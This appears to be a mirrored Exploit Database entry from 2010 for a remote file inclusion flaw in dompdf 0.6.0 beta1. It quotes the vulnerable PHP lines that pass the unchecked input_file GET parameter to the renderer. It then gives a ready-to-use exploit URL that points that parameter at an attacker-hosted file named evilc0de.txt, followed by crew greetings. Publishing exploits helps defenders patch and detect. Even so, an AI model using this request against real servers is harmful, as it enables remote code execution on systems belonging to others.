dompdf 0.6.0 beta1 – Remote File Inclusion

• Exploit Database
• 31 阅读

• 作者： Andre_Corleone
  日期： 2010-09-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/14851/

• ==================================
  apps dompdf RFI Vulnerability
  ==================================
  
  ====================================================
  [x] ExpL0it TitLe : apps dompdf RFI Vulnerability
  [x] DatE: 01 September 2010
  [x] AutH0r: Andre_Corleone
  [x] Software Link : www.digitaljunkies.ca/dompdf/
  [x] h0mE: http://tecon-crew.org
  [x] TestEd 0n : linux ubuntu 10.04
  [x] d0rK: :P
  ====================================================
  
  ==========================================================================================
  [x]bug heRe:
  if ( isset($_GET["input_file"]) )
  $file = rawurldecode($_GET["input_file"]);
  else
  throw new DOMPDF_Exception("An input file is required (i.e. input_file _GET variable).");
  ==========================================================================================
  
  ==================================================================
  [x]expL0iT:
  http://www.site.com/dompdf/dompdf.php?input_file=[evilc0de.txt?]
  ==================================================================
  
  ============================================================================================
  [x]th4nKs t0:
  ALLAH SWT,Muhammad SAW,my Parents,my lovely HerliZ Dian Permathasari
  guitariznoize | zee_eichel | jImMYrOmAnTiCdEvIl | 45tr0_k1ll1n9 | all Tecon Crew | and you
  ============================================================================================
  
  =====================
  [x]Jakarta,Indonesia
  =====================